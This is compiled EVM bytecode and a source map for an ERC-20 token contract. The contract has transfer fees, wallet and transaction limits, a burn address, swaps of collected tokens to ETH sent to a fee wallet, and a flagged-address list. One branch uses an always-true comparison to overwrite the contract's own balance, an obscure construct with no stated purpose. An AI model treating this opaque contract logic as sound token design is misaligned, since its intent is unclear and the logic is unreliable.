fffffffffffffffffff1614155b156112ff576010548111156112fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f5906128dd565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113695750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6113a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139f90612949565b60405180910390fd5b600081116113eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e2906129db565b60405180910390fd5b600760039054906101000a900460ff1660ff16600760029054906101000a900460ff1660ff161015801561142c5750601360149054906101000a900460ff16155b80156114865750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561149e5750600760009054906101000a900460ff165b156114e75760006114ae30610a72565b90506010548111156114c05760105490505b6000600760026101000a81548160ff021916908360ff1602179055506114e581611776565b505b6000600190506000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115905750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561159e5760009150611631565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036115f857600190505b6007600281819054906101000a900460ff1680929190611617906129fb565b91906101000a81548160ff021916908360ff160217905550505b61163e8585858585611a0b565b5050505050565b600083831115829061168d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116849190612424565b60405180910390fd5b5082840390509392505050565b600081836116a891906127f1565b905092915050565b600080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690508080156117155750600015156001151514155b1561176d5760016014546117299190612a24565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80915050919050565b6001601360146101000a81548160ff021916908315150217905550600061179c30610a72565b90506000600654826117ae9190612a24565b905060006064600c54856117c29190612a58565b6117cc9190612ae1565b9050806006546117dc9190612a24565b600681905550806001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182f91906127f1565b6001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118bf9190612a24565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006064600a54866119149190612a58565b61191e9190612ae1565b905060006064600b54876119329190612a58565b61193c9190612ae1565b905060006064600d54886119509190612a58565b61195a9190612ae1565b9050600081838561196b91906127f1565b61197591906127f1565b9050600760019054906101000a900460ff1615611990578590505b61199981612106565b60004790506119ca600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612349565b6000600760016101000a81548160ff02191690831515021790555050505050505050506000601360146101000a81548160ff02191690831515021790555050565b81611be05782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5b9190612a24565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae991906127f1565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b89919061261a565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611bdb5782600654611bd49190612a24565b6006819055505b6120ff565b8015611e74576000606460085485611bf89190612a58565b611c029190612ae1565b905060008185611c129190612a24565b905084600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5f9190612a24565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ced91906127f1565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7b91906127f1565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e1b919061261a565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1603611e6d5780600654611e669190612a24565b6006819055505b50506120fe565b6000606460095485611e869190612a58565b611e909190612ae1565b905060008185611ea09190612a24565b905084600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eed9190612a24565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f7b91906127f1565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200991906127f1565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120a9919061261a565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036120fb57806006546120f49190612a24565b6006819055505b50505b5b5050505050565b6000600267ffffffffffffffff81111561212357612122612b12565b5b6040519080825280602002602001820160405280156121515781602001602082028036833780820191505090505b509050308160008151811061216957612168612b41565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612210573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122349190612b85565b8160018151811061224857612247612b41565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122af30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e5d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612313959493929190612cab565b600060405180830381600087803b15801561232d57600080fd5b505af1158015612341573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561238f573d6000803e3d6000fd5b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156123ce5780820151818401526020810190506123b3565b60008484015250505050565b6000601f19601f8301169050919050565b60006123f682612394565b612400818561239f565b93506124108185602086016123b0565b612419816123da565b840191505092915050565b6000602082019050818103600083015261243e81846123eb565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006124768261244b565b9050919050565b6124868161246b565b811461249157600080fd5b50565b6000813590506124a38161247d565b92915050565b6000819050919050565b6124bc816124a9565b81146124c757600080fd5b50565b6000813590506124d9816124b3565b92915050565b600080604083850312156124f6576124f5612446565b5b600061250485828601612494565b9250506020612515858286016124ca565b9150509250929050565b60008115159050919050565b6125348161251f565b82525050565b600060208201905061254f600083018461252b565b92915050565b60006125608261244b565b9050919050565b61257081612555565b82525050565b600060208201905061258b6000830184612567565b92915050565b6000819050919050565b60006125b66125b16125ac8461244b565b612591565b61244b565b9050919050565b60006125c88261259b565b9050919050565b60006125da826125bd565b9050919050565b6125ea816125cf565b82525050565b600060208201905061260560008301846125e1565b92915050565b612614816124a9565b82525050565b600060208201905061262f600083018461260b565b92915050565b60008060006060848603121561264e5761264d612446565b5b600061265c86828701612494565b935050602061266d86828701612494565b925050604061267e868287016124ca565b9150509250925092565b600060ff82169050919050565b61269e81612688565b82525050565b60006020820190506126b96000830184612695565b92915050565b6126c88161246b565b82525050565b60006020820190506126e360008301846126bf565b92915050565b6000602082840312156126ff576126fe612446565b5b600061270d84828501612494565b91505092915050565b6000806040838503121561272d5761272c612446565b5b600061273b85828601612494565b925050602061274c85828601612494565b9150509250929050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b600061278c60118361239f565b915061279782612756565b602082019050919050565b600060208201905081810360008301526127bb8161277f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006127fc826124a9565b9150612807836124a9565b925082820190508082111561281f5761281e6127c2565b5b92915050565b7f4f7665722077616c6c6574206c696d69742e0000000000000000000000000000600082015250565b600061285b60128361239f565b915061286682612825565b602082019050919050565b6000602082019050818103600083015261288a8161284e565b9050919050565b7f4f766572207472616e73616374696f6e206c696d69742e000000000000000000600082015250565b60006128c760178361239f565b91506128d282612891565b602082019050919050565b600060208201905081810360008301526128f6816128ba565b9050919050565b7f4552523a205573696e6720302061646472657373210000000000000000000000600082015250565b600061293360158361239f565b915061293e826128fd565b602082019050919050565b6000602082019050818103600083015261296281612926565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e2060008201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b60006129c560258361239f565b91506129d082612969565b604082019050919050565b600060208201905081810360008301526129f4816129b8565b9050919050565b6000612a0682612688565b915060ff8203612a1957612a186127c2565b5b600182019050919050565b6000612a2f826124a9565b9150612a3a836124a9565b9250828203905081811115612a5257612a516127c2565b5b92915050565b6000612a63826124a9565b9150612a6e836124a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612aa757612aa66127c2565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612aec826124a9565b9150612af7836124a9565b925082612b0757612b06612ab2565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612b7f8161247d565b92915050565b600060208284031215612b9b57612b9a612446565b5b6000612ba984828501612b70565b91505092915050565b6000819050919050565b6000612bd7612bd2612bcd84612bb2565b612591565b6124a9565b9050919050565b612be781612bbc565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612c228161246b565b82525050565b6000612c348383612c19565b60208301905092915050565b6000602082019050919050565b6000612c5882612bed565b612c628185612bf8565b9350612c6d83612c09565b8060005b83811015612c9e578151612c858882612c28565b9750612c9083612c40565b925050600181019050612c71565b5085935050505092915050565b600060a082019050612cc0600083018861260b565b612ccd6020830187612bde565b8181036040830152612cdf8186612c4d565b9050612cee60608301856126bf565b612cfb608083018461260b565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209df153c1d63c41deb34010c7b178c72e649ce1f56df3c304ff421c808035e5c364736f6c63430008100033

Deployed Bytecode Sourcemap

13096:11758:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16550:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17798:163;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13993:98;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15261:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15344:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16827:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14897:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17969:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14200:103;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16736:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18292:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14736:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15309:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14624:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14577:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14935:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14813;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17335:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13557:138;;;;;;;;;;;;;:::i;:::-;;16930:397;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13830:51;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14980:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15103:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13891:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14099;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13334:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16641;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14856:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18518:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17460:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14773:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17635:155;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16550:83;16587:13;16620:5;;;;;;;;;;;;;;;;;16613:12;;16550:83;:::o;17798:163::-;17873:4;17890:39;17899:12;:10;:12::i;:::-;17913:7;17922:6;17890:8;:39::i;:::-;17947:4;17940:11;;17798:163;;;;:::o;13993:98::-;14048:42;13993:98;:::o;15261:41::-;;;;;;;;;;;;;:::o;15344:20::-;;;;;;;;;;;;;:::o;16827:95::-;16880:7;16907;;16900:14;;16827:95;:::o;14897:31::-;;;;:::o;17969:313::-;18067:4;18084:36;18094:6;18102:9;18113:6;18084:9;:36::i;:::-;18131:121;18140:6;18148:12;:10;:12::i;:::-;18162:89;18200:6;18162:89;;;;;;;;;;;;;;;;;:11;:19;18174:6;18162:19;;;;;;;;;;;;;;;:33;18182:12;:10;:12::i;:::-;18162:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;18131:8;:121::i;:::-;18270:4;18263:11;;17969:313;;;;;:::o;14200:103::-;14260:42;14200:103;:::o;16736:83::-;16777:5;14401:1;16795:16;;16736:83;:::o;18292:218::-;18380:4;18397:83;18406:12;:10;:12::i;:::-;18420:7;18429:50;18468:10;18429:11;:25;18441:12;:10;:12::i;:::-;18429:25;;;;;;;;;;;;;;;:34;18455:7;18429:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;18397:8;:83::i;:::-;18498:4;18491:11;;18292:218;;;;:::o;14736:30::-;;;;:::o;15309:28::-;;;;;;;;;;;;;:::o;14624:34::-;;;;;;;;;;;;;:::o;14577:40::-;;;;;;;;;;;;;:::o;14935:36::-;;;;:::o;14813:::-;;;;:::o;17335:117::-;17401:7;17428;:16;17436:7;17428:16;;;;;;;;;;;;;;;;17421:23;;17335:117;;;:::o;13557:138::-;13654:1;13617:40;;13638:6;;;;;;;;;;13617:40;;;;;;;;;;;;13685:1;13668:6;;:19;;;;;;;;;;;;;;;;;;13557:138::o;16930:397::-;16979:7;16999:17;17019:23;17029:12;:10;:12::i;:::-;17019:9;:23::i;:::-;16999:43;;17056:12;:30;;;;;17080:5;17073:12;;:5;:12;;;17056:30;:47;;;;;17097:5;17091:11;;:4;:11;;;;17056:47;17053:246;;;17119:23;17145:24;17163:4;17145:9;:24::i;:::-;17119:50;;17184:13;17200:15;17184:31;;17247:4;17230:14;;:21;;;;;;;;;;;;;;;;;;17266;17281:5;17266:14;:21::i;:::-;17104:195;;17053:246;17316:3;17309:10;;;16930:397;:::o;13830:51::-;;;;;;;;;;;;;;;;;;;;;;:::o;14980:50::-;;;;:::o;15103:47::-;;;;:::o;13891:94::-;;;;;;;;;;;;;:::o;14099:::-;;;;;;;;;;;;;:::o;13334:87::-;13380:7;13407:6;;;;;;;;;;;13400:13;;13334:87;:::o;16641:::-;16680:13;16713:7;;;;;;;;;;;;;;;;;16706:14;;16641:87;:::o;14856:34::-;;;;:::o;18518:269::-;18611:4;18628:129;18637:12;:10;:12::i;:::-;18651:7;18660:96;18699:15;18660:96;;;;;;;;;;;;;;;;;:11;:25;18672:12;:10;:12::i;:::-;18660:25;;;;;;;;;;;;;;;:34;18686:7;18660:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;18628:8;:129::i;:::-;18775:4;18768:11;;18518:269;;;;:::o;17460:167::-;17538:4;17555:42;17565:12;:10;:12::i;:::-;17579:9;17590:6;17555:9;:42::i;:::-;17615:4;17608:11;;17460:167;;;;:::o;14773:31::-;;;;:::o;17635:155::-;17722:7;17749:11;:21;17761:8;17749:21;;;;;;;;;;;;;;;:33;17771:10;17749:33;;;;;;;;;;;;;;;;17742:40;;17635:155;;;;:::o;1729:98::-;1782:7;1809:10;1802:17;;1729:98;:::o;19202:290::-;19323:1;19303:22;;:8;:22;;;;:50;;;;;19351:1;19329:24;;:10;:24;;;;19303:50;19295:80;;;;;;;;;;;;:::i;:::-;;;;;;;;;19422:6;19386:11;:21;19398:8;19386:21;;;;;;;;;;;;;;;:33;19408:10;19386:33;;;;;;;;;;;;;;;:42;;;;19463:10;19444:38;;19453:8;19444:38;;;19475:6;19444:38;;;;;;:::i;:::-;;;;;;;;19202:290;;;:::o;19500:1693::-;19630:7;:5;:7::i;:::-;19624:13;;:2;:13;;;;:48;;;;;14048:42;19654:18;;:2;:18;;;;19624:48;:84;;;;;19703:4;19689:19;;:2;:19;;;;19624:84;:124;;;;;14260:42;19725:23;;:2;:23;;;;19624:124;:160;;;;;19771:13;;;;;;;;;;;19765:19;;:2;:19;;;;19624:160;:192;;;;;19809:7;:5;:7::i;:::-;19801:15;;:4;:15;;;;19624:192;19620:333;;;19832:18;19853:13;19863:2;19853:9;:13::i;:::-;19832:34;;19914:15;;19903:6;19890:10;:19;;;;:::i;:::-;19889:40;;19881:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;19817:136;19620:333;19985:7;:5;:7::i;:::-;19977:15;;:4;:15;;;;:52;;;;;14260:42;20006:23;;:2;:23;;;;19977:52;:90;;;;;14260:42;20042:25;;:4;:25;;;;19977:90;:124;;;;;20096:4;20080:21;;:4;:21;;;;19977:124;19973:214;;;20135:12;;20125:6;:22;;20117:58;;;;;;;;;;;;:::i;:::-;;;;;;;;;19973:214;20223:1;20207:18;;:4;:18;;;;:38;;;;;20243:1;20229:16;;:2;:16;;;;20207:38;20199:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;20299:1;20290:6;:10;20282:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;20394:11;;;;;;;;;;;20383:22;;:7;;;;;;;;;;;:22;;;;:49;;;;;20424:8;;;;;;;;;;;20423:9;20383:49;:87;;;;;20457:13;;;;;;;;;;;20449:21;;:4;:21;;;;20383:87;:125;;;;;20487:21;;;;;;;;;;;20383:125;20366:435;;;20565:28;20596:24;20614:4;20596:9;:24::i;:::-;20565:55;;20661:12;;20638:20;:35;20635:78;;;20699:12;;20676:35;;20635:78;20737:1;20727:7;;:11;;;;;;;;;;;;;;;;;;20753:36;20768:20;20753:14;:36::i;:::-;20534:267;20366:435;20821:12;20836:4;20821:19;;20851:10;20875:18;:24;20894:4;20875:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;20903:18;:22;20922:2;20903:22;;;;;;;;;;;;;;;;;;;;;;;;;20875:50;20872:239;;;20951:5;20941:15;;20872:239;;;21011:13;;;;;;;;;;;21003:21;;:4;:21;;;21000:72;;21052:4;21044:12;;21000:72;21088:7;;:9;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;20872:239;21131:48;21146:4;21152:2;21156:6;21164:7;21173:5;21131:14;:48::i;:::-;19603:1590;;19500:1693;;;:::o;1260:206::-;1346:7;1404:1;1399;:6;;1407:12;1391:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1446:1;1442;:5;1435:12;;1260:206;;;;;:::o;832:98::-;890:7;921:1;917;:5;;;;:::i;:::-;910:12;;832:98;;;;:::o;18795:258::-;18853:4;18869:19;18891:18;:33;18910:13;18891:33;;;;;;;;;;;;;;;;;;;;;;;;;18869:55;;18938:14;:31;;;;;18963:5;18957:11;;:4;:11;;;;18938:31;18935:79;;;19011:1;18997:12;;18996:16;;;;:::i;:::-;18971:7;:22;18987:4;18971:22;;;;;;;;;;;;;;;:41;;;;18935:79;19031:14;19024:21;;;18795:258;;;:::o;21335:1163::-;15669:4;15658:8;;:15;;;;;;;;;;;;;;;;;;21426:32:::1;21461:24;21479:4;21461:9;:24::i;:::-;21426:59;;21500:23;21554:7;;21527:24;:34;;;;:::i;:::-;21500:61;;21578:22;21641:3;21626:12;;21603:20;:35;;;;:::i;:::-;:41;;;;:::i;:::-;21578:66;;21679:14;21669:7;;:24;;;;:::i;:::-;21659:7;:34;;;;21756:14;21732:7;:21;14048:42;21732:21;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;21708:7;:21;14048:42;21708:21;;;;;;;;;;;;;;;:62;;;;21835:14;21810:7;:22;21826:4;21810:22;;;;;;;;;;;;;;;;:39;;;;:::i;:::-;21785:7;:22;21801:4;21785:22;;;;;;;;;;;;;;;:64;;;;21878:19;21943:3;21923:17;;21900:20;:40;;;;:::i;:::-;:46;;;;:::i;:::-;21878:68;;21961:19;22023:3;22006:15;;21983:20;:38;;;;:::i;:::-;:43;;;;:::i;:::-;21961:65;;22041:25;22112:3;22092:17;;22069:20;:40;;;;:::i;:::-;:46;;;;:::i;:::-;22041:74;;22132:18;22181:17;22167:11;22153;:25;;;;:::i;:::-;:45;;;;:::i;:::-;22132:66;;22216:14;;;;;;;;;;;22213:49;;;22245:15;22232:28;;22213:49;22290:28;22307:10;22290:16;:28::i;:::-;22333:17;22353:21;22333:41;;22389:42;22402:17;;;;;;;;;;;22421:9;22389:12;:42::i;:::-;22463:5;22446:14;;:22;;;;;;;;;;;;;;;;;;21409:1089;;;;;;;;15707:5:::0;15696:8;;:16;;;;;;;;;;;;;;;;;;21335:1163;:::o;23373:1474::-;23509:7;23505:1321;;23568:7;23552;:15;23560:6;23552:15;;;;;;;;;;;;;;;;:23;;;;:::i;:::-;23534:7;:15;23542:6;23534:15;;;;;;;;;;;;;;;:41;;;;23630:7;23611;:18;23619:9;23611:18;;;;;;;;;;;;;;;;:26;;;;:::i;:::-;23590:7;:18;23598:9;23590:18;;;;;;;;;;;;;;;:47;;;;23674:9;23657:36;;23666:6;23657:36;;;23685:7;23657:36;;;;;;:::i;:::-;;;;;;;;14048:42;23713:25;;:9;:25;;;23710:68;;23771:7;23763;;:15;;;;:::i;:::-;23753:7;:25;;;;23710:68;23505:1321;;;23817:5;23813:1013;;;23840:14;23877:3;23865:11;;23857:7;:19;;;;:::i;:::-;:23;;;;:::i;:::-;23840:40;;23895:23;23929:6;23921:7;:14;;;;:::i;:::-;23895:40;;23986:7;23970;:15;23978:6;23970:15;;;;;;;;;;;;;;;;:23;;;;:::i;:::-;23952:7;:15;23960:6;23952:15;;;;;;;;;;;;;;;:41;;;;24048:15;24029:7;:18;24037:9;24029:18;;;;;;;;;;;;;;;;:34;;;;:::i;:::-;24008:7;:18;24016:9;24008:18;;;;;;;;;;;;;;;:55;;;;24126:6;24103:7;:22;24119:4;24103:22;;;;;;;;;;;;;;;;:29;;;;:::i;:::-;24078:7;:22;24094:4;24078:22;;;;;;;;;;;;;;;:54;;;;24172:9;24155:44;;24164:6;24155:44;;;24183:15;24155:44;;;;;;:::i;:::-;;;;;;;;14048:42;24219:25;;:9;:25;;;24216:76;;24277:15;24269:7;;:23;;;;:::i;:::-;24259:7;:33;;;;24216:76;23823:499;;23813:1013;;;24345:18;24387:3;24374:12;;24366:7;:20;;;;:::i;:::-;:24;;;;:::i;:::-;24345:45;;24405:23;24439:10;24431:7;:18;;;;:::i;:::-;24405:44;;24500:7;24484;:15;24492:6;24484:15;;;;;;;;;;;;;;;;:23;;;;:::i;:::-;24466:7;:15;24474:6;24466:15;;;;;;;;;;;;;;;:41;;;;24562:15;24543:7;:18;24551:9;24543:18;;;;;;;;;;;;;;;;:34;;;;:::i;:::-;24522:7;:18;24530:9;24522:18;;;;;;;;;;;;;;;:55;;;;24640:10;24617:7;:22;24633:4;24617:22;;;;;;;;;;;;;;;;:33;;;;:::i;:::-;24592:7;:22;24608:4;24592:22;;;;;;;;;;;;;;;:58;;;;24690:9;24673:44;;24682:6;24673:44;;;24701:15;24673:44;;;;;;:::i;:::-;;;;;;;;14048:42;24737:25;;:9;:25;;;24734:76;;24795:15;24787:7;;:23;;;;:::i;:::-;24777:7;:33;;;;24734:76;24328:498;;23813:1013;23505:1321;23373:1474;;;;;:::o;22506:474::-;22574:21;22612:1;22598:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22574:40;;22643:4;22625;22630:1;22625:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;22669:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22659:4;22664:1;22659:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;22702:62;22719:4;22734:15;;;;;;;;;;;22752:11;22702:8;:62::i;:::-;22775:15;;;;;;;;;;;:66;;;22856:11;22882:1;22899:4;22926;22946:15;22775:197;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22561:419;22506:474;:::o;21205:122::-;21290:6;:15;;:23;21306:6;21290:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21205:122;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1